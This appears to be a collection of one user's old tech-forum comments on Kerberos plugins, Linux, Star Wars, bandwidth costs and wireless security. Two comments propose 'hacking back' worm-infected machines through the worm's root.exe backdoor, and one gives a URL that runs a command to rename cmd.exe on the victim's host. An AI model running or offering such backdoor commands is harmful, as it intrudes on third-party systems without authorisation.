Our school uses kerberos authentication for many web pages, and we use a "kweb" Netscape-style plugin. So.... any user who "upgrades", loses the ability to authenticate. And then they go and whine at tech support. What a pain.
haven't you played simcity? it is relatively goal-less... as in, there is no specific win point, no specific path, or even no set of paths (like diablo has). and it is fun..
why should it matter how the solution was discovered? not that i'm for patenting everything, but person or machine - the idea is what matters
How different is the kit stuff from normal parts?

X-server for PS2

It can't be too different... companies tend not to reinvent the wheel. All that needs to be done is for someone to find out how to adapt standard components to the PS2.
Apache is open source. There is NO reason they could not modify the headers it returns in such a way that it just tells the world it's IIS/Win2k. Better evidence than Netcraft and Netcraft-style lookups is needed.
I _believe_ you're not supposed to hotswap serial devices without grounding - apparently a keyboard or mouse CAN kill a serial port. or ps2 port with static. or at least blow the fuse, making it appear broken
And when you really think about it, you realize that "the Force" is a pretty dumb name too. but who cares? I saw the first three when I was in elementary school. I loved them. Saw TPM in high school, and I thought it wasn't very good. It had lost the seemingly "epic" proportions, a stuggle of good vs. evil to become a movie that has no inherent link to the rest of the series
if you're going to nuke them, why not setup up apache? just set up whatever long bat file is required (using echo blah >file) and then run it... have it download linux, or get and install apache
http://infected_machine/scripts/root.exe?/c+ren+cm d.exe+worm.exe
I've been told trying to delete cmd.exe gives access denied - maybe its attrib +r+s or something. This one works for sure
I thought it was great - great as in very entertaining. great as in epic? no, but thats not what the movie was supposed to be. I think calling it "not great" is implying it's bad
I think it would work better... it solves ALL problems listed except for poor passwords. However, the "average" user will never remember a password that is any good - and will demand some "remember my login" feature. This combination ensures INsecurity. Until people are willing to remember a short (6+) character sequence, and are willing to type it in (and change it periodically, there can be no good security (using passwords).
The main disadvantage to kerberos is that most browsers do not inherently support it - you need plugins and sometimes a completely separate application.
anyone with a half-decent network could find it... what you need to do is get the IP the mail came from (through the headers). then contact that ISP, and give them your MAC address. next time the theif logs on, you could get him. of course, this requires knowing your MAC address...
quit yer whining;)
I had to compile it on a ppro200 - TWICE because I didn't know what the scsi card was the first time around (not my machine)... it kernel panicked cannot mount root. that sucked.
who cares? the only time linux crashed was when my CPU fan died.... the only time it kernel panic'd was when I left out my scsi driver and it couldn't mount root. Bugs? minimal compared to windows
the opting out is a big problem. whats wrong with just paying? when I go to buy groceries, i dont have to say, "and no, I dont want a bunch of emails coming from other stores in the area".
I doubt that more use of our bandwidth increases our costs. Most of our cost seem to come from a) physical maintainance and b) tech support. whether someone uses no bandwidth or is constantly sharing/downloading movies does not have much effect
thats a load of BS. lets work this out. My university's net connection is about $600k/year (I'm assuming $50k/mo for an OC3).
thats ~$1650 per day. thats $69/hr. = ~$1 per minute. about 2c per second.
If you factor in the increased power drawn by the CPU (lets say 10 watt-hours per hour), that is still WAY short of 59 cents per second
I most absolutely would take the same attitude. If I want to send sensitive information through the air, it is my responsibility to either
a) use some sort of line-of-site device
or
b) properly encrypt any information I send.
802.11b is, when reduced to the basics, a fancy morse-code flashlight that uses a wavelength out of the visible spectrum and is really fast. Would you blame someone who can read morse and saw you flashing signls across a city?

mod this one up :-)
You can forge the headers the server returns... especially easy since Apache is open source. Who says its actually IIS?

What exactly is a "journaling" filesystem?

how many people would invest? you wouldn'tk now ahead of time if the programmer would actually write something good...
yeah i realized that after i posted it

my point still stands though... 2c per second is enough to buy MAJOR bandwidth. thats assuming one client. what they're claiming is totally irrational
member is actually not a very high status though - its the 2nd level, I believe.
